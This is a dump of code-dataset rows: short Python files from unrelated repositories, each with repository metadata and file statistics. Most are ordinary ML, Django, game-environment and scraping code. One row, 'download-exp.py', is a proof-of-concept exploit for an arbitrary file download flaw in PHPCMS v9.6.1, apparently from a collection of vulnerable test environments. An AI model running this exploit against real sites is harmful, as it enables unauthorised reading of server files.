] | null | null | null | basic linear reg.py | recurshawn/Basic-Linear-Regression | e0ee45f58d45911d34a854f015ea196b159a2f8a | [
"MIT"
] | 2 | 2018-07-19T14:35:46.000Z | 2018-08-12T06:13:43.000Z | """ BASIC LINEAR REGRESSION CODE
Consider this my first application of what I understood about ML/DL so far.
I wrote this to check my understanding of the basic concepts. It's pretty simple but I needed to get my feet wet with code.
Any suggestions for modifications are welcome!
"""
#x and y data... | 28.16129 | 128 | 0.634593 | 173 | 873 | 3.196532 | 0.560694 | 0.01085 | 0.016275 | 0.018083 | 0.036166 | 0.036166 | 0.036166 | 0.036166 | 0.036166 | 0 | 0 | 0.089124 | 0.241695 | 873 | 30 | 129 | 29.1 | 0.746224 | 0.183276 | 0 | 0 | 0 | 0 | 0.144357 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.230769 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bd4090b02cae8881961d07fc8983d1d1780b62bf | 1,326 | py | Python | python/extracting/findPrimer.py | csiu/tokens | 8a7f865d921d91aae4019e43677435ad78a8a703 | [
"MIT"
] | null | null | null | python/extracting/findPrimer.py | csiu/tokens | 8a7f865d921d91aae4019e43677435ad78a8a703 | [
"MIT"
] | 1 | 2015-04-20T03:28:48.000Z | 2015-04-20T03:40:44.000Z | python/extracting/findPrimer.py | csiu/tokens | 8a7f865d921d91aae4019e43677435ad78a8a703 | [
"MIT"
] | null | null | null | import re
inputfile = '/Users/csiu/project/webCrawler/extractPrimer/test.txt'
primerStart = """5'"""
primerEnd = """3'"""
nucleotides = '[ATGCN]'
linePrimerEnding = re.compile(nucleotides + '$')
linePrimerStarting = re.compile('^' + nucleotides)
with open(inputfile, 'r') as f:
for line in f:
if primerSt... | 30.136364 | 74 | 0.534691 | 121 | 1,326 | 5.859504 | 0.446281 | 0.050776 | 0.056417 | 0.047955 | 0.211566 | 0.152327 | 0.152327 | 0.152327 | 0 | 0 | 0 | 0.004819 | 0.374057 | 1,326 | 43 | 75 | 30.837209 | 0.849398 | 0.087481 | 0 | 0.37037 | 0 | 0 | 0.055927 | 0.04424 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.037037 | null | null | 0.074074 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bd41247422955c2bec8c75c3f52048f4b0c6d343 | 1,213 | py | Python | app/core/admin.py | crocodundee/news-board-api-app | 380e6e75f9263a068200a723c04568a9f2261ecc | [
"MIT"
] | null | null | null | app/core/admin.py | crocodundee/news-board-api-app | 380e6e75f9263a068200a723c04568a9f2261ecc | [
"MIT"
] | null | null | null | app/core/admin.py | crocodundee/news-board-api-app | 380e6e75f9263a068200a723c04568a9f2261ecc | [
"MIT"
] | null | null | null | from django.contrib import admin
from django.contrib.auth.admin import UserAdmin as BaseUserAdmin
from django.contrib.auth.models import User
from django.utils.translation import gettext as _
from core import models
class UserAdmin(BaseUserAdmin):
"""Admin panel configuration for User model"""
list_display ... | 28.880952 | 79 | 0.659522 | 136 | 1,213 | 5.727941 | 0.397059 | 0.051348 | 0.065469 | 0.053915 | 0.136072 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.17972 | 1,213 | 41 | 80 | 29.585366 | 0.782915 | 0.079967 | 0 | 0 | 0 | 0 | 0.221818 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.038462 | 0.230769 | 0 | 0.576923 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
bd463c23420373bb21cbb94033d3aa58f68f33b2 | 1,119 | py | Python | lib/retainn/curl.py | cellularmitosis/retainn | 9e59024f3b35d4bb0bdf675b9f29369569e2080b | [
"MIT"
] | 1 | 2021-06-05T08:40:44.000Z | 2021-06-05T08:40:44.000Z | lib/retainn/curl.py | cellularmitosis/retainn | 9e59024f3b35d4bb0bdf675b9f29369569e2080b | [
"MIT"
] | null | null | null | lib/retainn/curl.py | cellularmitosis/retainn | 9e59024f3b35d4bb0bdf675b9f29369569e2080b | [
"MIT"
] | 1 | 2021-10-14T12:28:32.000Z | 2021-10-14T12:28:32.000Z | """Retainn web-fetching functions."""
try:
# Python 3
from urllib.request import Request, urlopen
except ImportError:
# Python 2
from urllib2 import Request, urlopen
def http_get_deck_and_etag(gist_url):
"""Download the markdown and etag of a deck URL."""
response = urlopen(gist_url + "/raw")... | 28.692308 | 67 | 0.680071 | 149 | 1,119 | 4.872483 | 0.342282 | 0.077135 | 0.060606 | 0.038567 | 0.132231 | 0.132231 | 0.068871 | 0 | 0 | 0 | 0 | 0.00344 | 0.220733 | 1,119 | 38 | 68 | 29.447368 | 0.829128 | 0.178731 | 0 | 0 | 0 | 0 | 0.022297 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.16 | false | 0 | 0.12 | 0.04 | 0.52 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
bd481775933800ff7697945131e21bcfb7859fdc | 670 | py | Python | tutorials2/data_loading_tutorial.py | xuanyuyt/pytorch-tutorial | 92076ac56d42da98ea61ce06708bb8c537a49af0 | [
"MIT"
] | null | null | null | tutorials2/data_loading_tutorial.py | xuanyuyt/pytorch-tutorial | 92076ac56d42da98ea61ce06708bb8c537a49af0 | [
"MIT"
] | null | null | null | tutorials2/data_loading_tutorial.py | xuanyuyt/pytorch-tutorial | 92076ac56d42da98ea61ce06708bb8c537a49af0 | [
"MIT"
] | null | null | null | import os
import torch
import pandas as pd
from skimage import io, transform
import numpy as np
import matplotlib.pyplot as plt
from torch.utils.data import Dataset, DataLoader
from torchvision import transforms, utils
# Ignore waring
import warnings
warnings.filterwarnings('ignore')
plt.ion()
landmarks_frame = pd.r... | 29.130435 | 75 | 0.770149 | 98 | 670 | 5.173469 | 0.540816 | 0.08284 | 0.071006 | 0.074951 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.013289 | 0.101493 | 670 | 23 | 76 | 29.130435 | 0.828904 | 0.019403 | 0 | 0 | 0 | 0 | 0.16311 | 0.064024 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.473684 | 0 | 0.473684 | 0.157895 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
bd48e2bd368062575f8e3c68c1ab5aaaace702be | 6,020 | py | Python | run_validation.py | sr9000/stepik_code_task_baking | 60a5197f659db1734132eeb9d82624f1b7aaeb3f | [
"MIT"
] | null | null | null | run_validation.py | sr9000/stepik_code_task_baking | 60a5197f659db1734132eeb9d82624f1b7aaeb3f | [
"MIT"
] | null | null | null | run_validation.py | sr9000/stepik_code_task_baking | 60a5197f659db1734132eeb9d82624f1b7aaeb3f | [
"MIT"
] | null | null | null | import logging as log
import sys
from extra.introspection import collect_datasets, collect_wrong_solutions
from implementation.checker import output_reader, checker as check
from implementation.solver import input_reader, solver as solve, hinter as get_hint
from pre_definition.solve_caller import call_with_args
from p... | 34.797688 | 120 | 0.670598 | 757 | 6,020 | 5.136063 | 0.200793 | 0.028807 | 0.05144 | 0.032407 | 0.308385 | 0.252572 | 0.119599 | 0.119599 | 0.119599 | 0.082819 | 0 | 0.003323 | 0.250166 | 6,020 | 172 | 121 | 35 | 0.857997 | 0.058472 | 0 | 0.155738 | 0 | 0 | 0.166726 | 0 | 0 | 0 | 0 | 0 | 0.07377 | 1 | 0.065574 | false | 0.07377 | 0.057377 | 0 | 0.147541 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
bd49b8155e5a08f5ca5bd991e7606c828ebf1c3d | 421 | py | Python | apps/algorithms/migrations/0003_auto_20190201_0136.py | ScorpioDoctor/StudyAiD1 | fd37a400a61dc1ae7a3ef6b1273afc3f0daea3e4 | [
"Apache-2.0"
] | null | null | null | apps/algorithms/migrations/0003_auto_20190201_0136.py | ScorpioDoctor/StudyAiD1 | fd37a400a61dc1ae7a3ef6b1273afc3f0daea3e4 | [
"Apache-2.0"
] | null | null | null | apps/algorithms/migrations/0003_auto_20190201_0136.py | ScorpioDoctor/StudyAiD1 | fd37a400a61dc1ae7a3ef6b1273afc3f0daea3e4 | [
"Apache-2.0"
] | null | null | null | # Generated by Django 2.0.10 on 2019-02-01 01:36
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('algorithms', '0002_auto_20190201_0013'),
]
operations = [
migrations.RemoveField(
model_name='algorithmimage',
name='algori... | 20.047619 | 50 | 0.589074 | 39 | 421 | 6.25641 | 0.769231 | 0.147541 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.109215 | 0.304038 | 421 | 20 | 51 | 21.05 | 0.723549 | 0.109264 | 0 | 0.142857 | 1 | 0 | 0.187668 | 0.061662 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.071429 | 0 | 0.285714 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bd4bc561fda1c42a4d4d120ce2ef72e50322b064 | 2,670 | py | Python | examples/active_replication/flux_egress_operator.py | yujialuo/erdos | 7a631b55895f1a473b0f4d38a0d6053851e65b5d | [
"Apache-2.0"
] | null | null | null | examples/active_replication/flux_egress_operator.py | yujialuo/erdos | 7a631b55895f1a473b0f4d38a0d6053851e65b5d | [
"Apache-2.0"
] | null | null | null | examples/active_replication/flux_egress_operator.py | yujialuo/erdos | 7a631b55895f1a473b0f4d38a0d6053851e65b5d | [
"Apache-2.0"
] | null | null | null | from erdos.data_stream import DataStream
from erdos.message import Message
from erdos.op import Op
from erdos.timestamp import Timestamp
from erdos.utils import setup_logging
import flux_utils
from flux_utils import is_control_stream, is_not_control_stream
from flux_buffer import Buffer
import threading
class FluxEg... | 37.083333 | 75 | 0.648689 | 319 | 2,670 | 5.103448 | 0.291536 | 0.079853 | 0.055897 | 0.041769 | 0.246929 | 0.169533 | 0.04914 | 0.04914 | 0.04914 | 0 | 0 | 0.001546 | 0.273034 | 2,670 | 72 | 76 | 37.083333 | 0.837197 | 0.078277 | 0 | 0.105263 | 0 | 0 | 0.041141 | 0 | 0 | 0 | 0 | 0.013889 | 0 | 1 | 0.087719 | false | 0.017544 | 0.157895 | 0 | 0.280702 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bd4f544d8896cf4cc8569ba0288541ed6799028b | 6,058 | py | Python | gameRL/game_simulators/blackjack.py | dwraft/gameRL | 518b2a2d193220f7334584ccde5cf2ab318d718a | [
"MIT"
] | null | null | null | gameRL/game_simulators/blackjack.py | dwraft/gameRL | 518b2a2d193220f7334584ccde5cf2ab318d718a | [
"MIT"
] | null | null | null | gameRL/game_simulators/blackjack.py | dwraft/gameRL | 518b2a2d193220f7334584ccde5cf2ab318d718a | [
"MIT"
] | null | null | null | """
Modeled largely after
https://github.com/openai/gym/blob/master/gym/envs/toy_text/blackjack.py
Also, the github version draws with replacement, while I modified to not use replacement
Also, reference here for how to play blackjack
"""
from typing import Dict, List, Tuple
import gym
import numpy as np
from gym imp... | 31.884211 | 88 | 0.610432 | 821 | 6,058 | 4.325213 | 0.237515 | 0.029288 | 0.028161 | 0.023655 | 0.143622 | 0.123346 | 0.100817 | 0.091242 | 0.05069 | 0.05069 | 0 | 0.01379 | 0.281776 | 6,058 | 189 | 89 | 32.05291 | 0.802344 | 0.170188 | 0 | 0.113821 | 0 | 0.00813 | 0.031911 | 0 | 0 | 0 | 0 | 0 | 0.00813 | 1 | 0.211382 | false | 0 | 0.04065 | 0.073171 | 0.471545 | 0.00813 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bd503a6e6bd6d6f165fffc6aa8ef728aa475b171 | 228 | py | Python | dragn/dice/__init__.py | hugovk/dragn | 8e6e3146c3a5980a384f4be5dc7019c10ab0bffe | [
"MIT"
] | null | null | null | dragn/dice/__init__.py | hugovk/dragn | 8e6e3146c3a5980a384f4be5dc7019c10ab0bffe | [
"MIT"
] | null | null | null | dragn/dice/__init__.py | hugovk/dragn | 8e6e3146c3a5980a384f4be5dc7019c10ab0bffe | [
"MIT"
] | null | null | null | from functools import partial
from dragn.dice.die_and_roller import roller
D4 = partial(roller, 4)
D6 = partial(roller, 6)
D8 = partial(roller, 8)
D10 = partial(roller, 10)
D12 = partial(roller, 12)
D20 = partial(roller, 20)
| 19 | 44 | 0.732456 | 36 | 228 | 4.583333 | 0.583333 | 0.472727 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.093264 | 0.153509 | 228 | 11 | 45 | 20.727273 | 0.761658 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.25 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bd50555970de3cea2bfe20e4fa5b5203c2dc67c1 | 472 | py | Python | setup.py | steinnes/apnscli | 3573fb835fe71dcec1c1611eed8c5b73347f0157 | [
"MIT"
] | 2 | 2015-08-13T18:29:45.000Z | 2021-08-12T03:31:58.000Z | setup.py | steinnes/apnscli | 3573fb835fe71dcec1c1611eed8c5b73347f0157 | [
"MIT"
] | null | null | null | setup.py | steinnes/apnscli | 3573fb835fe71dcec1c1611eed8c5b73347f0157 | [
"MIT"
] | null | null | null | from setuptools import setup
from pip.req import parse_requirements
from pip.download import PipSession
setup(
name='apnsend',
version='0.1',
description='apnsend is a tool to test your APNS certificate, key and token.',
py_modules=['apnsend'],
install_requires=[
str(req.req) for req in par... | 26.222222 | 92 | 0.680085 | 58 | 472 | 5.431034 | 0.706897 | 0.044444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005348 | 0.207627 | 472 | 17 | 93 | 27.764706 | 0.836898 | 0 | 0 | 0 | 0 | 0 | 0.330508 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.1875 | 0 | 0.1875 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bd5085ad69142965ca0cc325bce4a8b98430c865 | 7,159 | py | Python | down2earth/core/client.py | intenvy/down-to-earth | 3d15366a47fe81ee895ba38c7f90a714b18a6c08 | [
"MIT"
] | null | null | null | down2earth/core/client.py | intenvy/down-to-earth | 3d15366a47fe81ee895ba38c7f90a714b18a6c08 | [
"MIT"
] | null | null | null | down2earth/core/client.py | intenvy/down-to-earth | 3d15366a47fe81ee895ba38c7f90a714b18a6c08 | [
"MIT"
] | null | null | null | import json
from abc import ABC, abstractmethod
from typing import Optional
from aiohttp import ClientResponse as Response
from .mechanisms.fetch import IFetchMechanism
from .models.request import IRestRequest
from ..errors.fetching_errors import FetchMechanismFailed
from ..utils.logging_utils import IMonitorLogger, ... | 33.297674 | 107 | 0.624808 | 783 | 7,159 | 5.490421 | 0.185185 | 0.018609 | 0.024424 | 0.011863 | 0.348453 | 0.237032 | 0.208653 | 0.196092 | 0.163759 | 0.163759 | 0 | 0.002945 | 0.288448 | 7,159 | 214 | 108 | 33.453271 | 0.840989 | 0 | 0 | 0.296875 | 0 | 0 | 0.071742 | 0.008785 | 0 | 0 | 0 | 0 | 0 | 1 | 0.140625 | false | 0.078125 | 0.140625 | 0.015625 | 0.40625 | 0.0625 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
1fa185f55ac389ddda6ff7507b5d50529d297d77 | 539 | py | Python | index.py | eddowh/flask-react-gae-multiuser-blog | 7979567455936d32ba55c6edf0df82c4670754ef | [
"Unlicense"
] | 1 | 2016-10-25T10:12:58.000Z | 2016-10-25T10:12:58.000Z | index.py | eddowh/flask-react-gae-multiuser-blog | 7979567455936d32ba55c6edf0df82c4670754ef | [
"Unlicense"
] | null | null | null | index.py | eddowh/flask-react-gae-multiuser-blog | 7979567455936d32ba55c6edf0df82c4670754ef | [
"Unlicense"
] | null | null | null | # -*- coding: utf-8 -*-
from importlib import import_module
import os
import sys
BASE_PATH = os.path.dirname(os.path.abspath(__file__))
APP_NAME = 'server'
SYS_DIRS = [
'lib',
]
# add directories to sys path
for dir in SYS_DIRS + [APP_NAME]:
sys.path.insert(1, os.path.join(BASE_PATH, dir))
# register flas... | 21.56 | 55 | 0.742115 | 80 | 539 | 4.7375 | 0.5625 | 0.063325 | 0.05277 | 0.073879 | 0.094987 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004274 | 0.131725 | 539 | 24 | 56 | 22.458333 | 0.805556 | 0.215213 | 0 | 0 | 0 | 0 | 0.064593 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.307692 | 0 | 0.307692 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
1faa1a1b78082931266633b4320d81cdfa0d54a0 | 1,342 | py | Python | python/repeated_substring_pattern.py | shub0/leetcode | 8221d10f201d001abcb15b27c9cf4b8cd5060f1f | [
"BSD-3-Clause"
] | null | null | null | python/repeated_substring_pattern.py | shub0/leetcode | 8221d10f201d001abcb15b27c9cf4b8cd5060f1f | [
"BSD-3-Clause"
] | null | null | null | python/repeated_substring_pattern.py | shub0/leetcode | 8221d10f201d001abcb15b27c9cf4b8cd5060f1f | [
"BSD-3-Clause"
] | null | null | null | '''
Given a non-empty string check if it can be constructed by taking a substring of it and appending multiple copies of the substring together. You may assume the given string consists of lowercase English letters only and its length will not exceed 10000.
Example 1:
Input: "abab"
Output: True
Explanation: It's the... | 26.84 | 253 | 0.655738 | 171 | 1,342 | 5.134503 | 0.502924 | 0.05467 | 0.168565 | 0.052392 | 0.082005 | 0.082005 | 0.082005 | 0 | 0 | 0 | 0 | 0.013958 | 0.252608 | 1,342 | 49 | 254 | 27.387755 | 0.861416 | 0 | 0 | 0.090909 | 0 | 0 | 0.030026 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.045455 | null | null | 0.181818 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
1fb09b5991e8d87644d6f495740d136659baa06e | 10,805 | py | Python | scar_core/scripts/icp.py | yycho0108/SSAM | 8b93f84cb162e475231e1de29360e6c6f1632363 | [
"MIT"
] | null | null | null | scar_core/scripts/icp.py | yycho0108/SSAM | 8b93f84cb162e475231e1de29360e6c6f1632363 | [
"MIT"
] | null | null | null | scar_core/scripts/icp.py | yycho0108/SSAM | 8b93f84cb162e475231e1de29360e6c6f1632363 | [
"MIT"
] | null | null | null | import numpy as np
from sklearn.neighbors import NearestNeighbors
import cv2
def estimate_normals(p, k=20):
neigh = NearestNeighbors(n_neighbors=k)
neigh.fit(p)
distances, indices = neigh.kneighbors(return_distance=True)
dp = (p[indices] - p[:,None])
U, s, V = np.linalg.svd(dp.transpose(0,2,1))
... | 31.686217 | 117 | 0.544563 | 1,511 | 10,805 | 3.789543 | 0.252151 | 0.013971 | 0.022354 | 0.013273 | 0.188264 | 0.118757 | 0.07824 | 0.040517 | 0.040517 | 0.026895 | 0 | 0.035585 | 0.310782 | 10,805 | 340 | 118 | 31.779412 | 0.733315 | 0.374179 | 0 | 0.135484 | 0 | 0 | 0.01226 | 0 | 0 | 0 | 0 | 0.011765 | 0.012903 | 1 | 0.077419 | false | 0.025806 | 0.032258 | 0 | 0.16129 | 0.012903 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
1fb53f7f4bb36d6fa18b06b4d87e7b488b8f5de0 | 1,356 | py | Python | src/phpcms/9.6.1/任意文件下载漏洞/download-exp.py | baidu-security/app-env-docker | 794f4d23a4ff61e045108977119eb0e529bb0213 | [
"Apache-2.0"
] | 226 | 2018-02-17T07:18:12.000Z | 2022-03-24T01:04:41.000Z | src/phpcms/9.6.1/任意文件下载漏洞/download-exp.py | baidu-security/app-env-docker | 794f4d23a4ff61e045108977119eb0e529bb0213 | [
"Apache-2.0"
] | 7 | 2018-07-14T07:59:47.000Z | 2021-05-07T06:30:54.000Z | src/phpcms/9.6.1/任意文件下载漏洞/download-exp.py | baidu-security/app-env-docker | 794f4d23a4ff61e045108977119eb0e529bb0213 | [
"Apache-2.0"
] | 51 | 2018-04-20T15:39:06.000Z | 2022-03-24T16:27:41.000Z | # coding: utf-8
'''
name: PHPCMS v9.6.1 任意文件下载
author: Anka9080
description: 过滤函数不严谨导致任意文件下载。
'''
import sys
import requests
import re
def poc(target):
print('第一次请求,获取 cookie_siteid ')
url = target +'index.php?m=wap&c=index&a=init&siteid=1'
s = requests.Session()
r = s.get(url)
cookie_siteid = r.h... | 30.133333 | 175 | 0.634956 | 213 | 1,356 | 3.896714 | 0.42723 | 0.101205 | 0.06747 | 0.081928 | 0.138554 | 0.057831 | 0.057831 | 0.057831 | 0 | 0 | 0 | 0.04461 | 0.20649 | 1,356 | 44 | 176 | 30.818182 | 0.726766 | 0.05236 | 0 | 0.090909 | 0 | 0.030303 | 0.346122 | 0.253545 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.030303 | 0.090909 | null | null | 0.151515 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
1fcb25844610f792402d0768084d92368a8057d1 | 4,838 | py | Python | renderer/settings.py | 12564985/DeFMO | 8ed9c2963678e2c59c7431ec8786302eea841572 | [
"MIT"
] | 1 | 2022-03-14T12:46:38.000Z | 2022-03-14T12:46:38.000Z | renderer/settings.py | 12564985/DeFMO | 8ed9c2963678e2c59c7431ec8786302eea841572 | [
"MIT"
] | null | null | null | renderer/settings.py | 12564985/DeFMO | 8ed9c2963678e2c59c7431ec8786302eea841572 | [
"MIT"
] | null | null | null | ## TODO: insert your ShapeNetCore.v2, textures, training and testing background paths
# NOTE that HDF5 is not generated here, to convert the dataset to HDF5 use dataloaders/conversion.py
g_datasets_path = '/mnt/lascar/rozumden/dataset'
g_shapenet_path = g_datasets_path + '/ShapeNetv2/ShapeNetCore.v2'
g_textures_path ... | 35.573529 | 582 | 0.668251 | 609 | 4,838 | 5.055829 | 0.471264 | 0.016239 | 0.021111 | 0.022085 | 0.122442 | 0.021436 | 0.021436 | 0 | 0 | 0 | 0 | 0.132155 | 0.169492 | 4,838 | 136 | 583 | 35.573529 | 0.634146 | 0.190161 | 0 | 0 | 1 | 0.009901 | 0.396556 | 0.059111 | 0 | 0 | 0 | 0.007353 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.039604 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
1fd5cfc21f6a649e70a7b0760d51e47fca8f6d12 | 1,069 | py | Python | day/day_05/solution.py | moki/aoc2015 | da43fccd20d154840161c022d1f3c0f70035d604 | [
"BSD-3-Clause"
] | null | null | null | day/day_05/solution.py | moki/aoc2015 | da43fccd20d154840161c022d1f3c0f70035d604 | [
"BSD-3-Clause"
] | null | null | null | day/day_05/solution.py | moki/aoc2015 | da43fccd20d154840161c022d1f3c0f70035d604 | [
"BSD-3-Clause"
] | null | null | null | def count_vowel(line):
return len([c for c in line if c in "aeiou"])
def is_vowelly(line):
return count_vowel(line) > 2
def is_doublly(line):
return len(
[line[i] for i in range(len(line) - 1) if line[i] == line[i + 1]])
def is_valid(line):
return not sum(c in line for c in ['ab', 'cd', 'p... | 21.38 | 74 | 0.507951 | 169 | 1,069 | 3.118343 | 0.224852 | 0.066414 | 0.045541 | 0.062619 | 0.195446 | 0.155598 | 0.072106 | 0 | 0 | 0 | 0 | 0.032353 | 0.363891 | 1,069 | 49 | 75 | 21.816327 | 0.742647 | 0 | 0 | 0.0625 | 0 | 0 | 0.015903 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.1875 | false | 0 | 0 | 0.15625 | 0.375 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 |
1fdabe81a3501b610902f47c9629b3212106ad89 | 3,746 | py | Python | python/tdk_fetch.py | selcukcihan/namewizard | c2aeb3fd1eb3ce839d0e3a145bdf2a6df354d568 | [
"CC0-1.0"
] | null | null | null | python/tdk_fetch.py | selcukcihan/namewizard | c2aeb3fd1eb3ce839d0e3a145bdf2a6df354d568 | [
"CC0-1.0"
] | null | null | null | python/tdk_fetch.py | selcukcihan/namewizard | c2aeb3fd1eb3ce839d0e3a145bdf2a6df354d568 | [
"CC0-1.0"
] | null | null | null | #!/usr/bin/env python
from BeautifulSoup import BeautifulSoup
import json
import urllib
import urllib2
import re
import time
import os.path
def getgoogleurl(search,siteurl=False):
search = search.encode("utf-8")
if siteurl==False:
return 'http://www.google.com/search?q='+urllib.quote_plus(search)
